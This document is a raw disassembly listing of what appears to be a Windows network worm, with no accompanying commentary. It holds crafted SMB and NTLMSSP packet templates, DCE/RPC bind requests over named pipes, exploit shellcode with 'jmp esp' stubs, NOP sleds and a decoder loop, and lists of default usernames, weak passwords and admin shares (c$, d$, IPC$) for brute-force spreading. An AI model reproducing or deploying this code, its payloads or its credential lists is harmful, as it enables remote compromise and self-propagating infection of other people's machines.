loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: BrattyUS:loc_41A8B4j
; ---------------------------------------------------------------------------

loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------

loc_41A8BE:				; CODE XREF: BrattyUS:loc_41A8ACj
					; BrattyUS:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: BrattyUS:loc_41A8BCj
; ---------------------------------------------------------------------------

loc_41A8C4:				; CODE XREF: BrattyUS:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------

loc_41A8C9:				; CODE XREF: BrattyUS:0041A8AEj
					; BrattyUS:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------

loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------

loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB

loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl

loc_41A8E6:				; CODE XREF: BrattyUS:loc_41A8F0j
		add	[ecx], al

loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]

loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h

loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h		; CODE XREF: BrattyUS:loc_41A8ECj
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]

loc_41A8FB:				; CODE XREF: BrattyUS:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: sub_410B52+2C7o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: sub_410B52+3DEo
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: sub_410B52+285o
					; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: sub_410B52+26Fo
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------

loc_41B84A:				; CODE XREF: BrattyUS:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah

loc_41B852:				; CODE XREF: BrattyUS:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------

loc_41B8A1:				; CODE XREF: BrattyUS:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------

loc_41B97E:				; CODE XREF: BrattyUS:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah

loc_41B986:				; CODE XREF: BrattyUS:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------

loc_41B9C6:				; CODE XREF: BrattyUS:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------

loc_41B9D5:				; CODE XREF: BrattyUS:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: BrattyUS:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: BrattyUS:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------

loc_41BA16:				; CODE XREF: BrattyUS:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx

loc_41BA23:				; CODE XREF: BrattyUS:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx

loc_41BA5A:				; CODE XREF: BrattyUS:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DF00
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
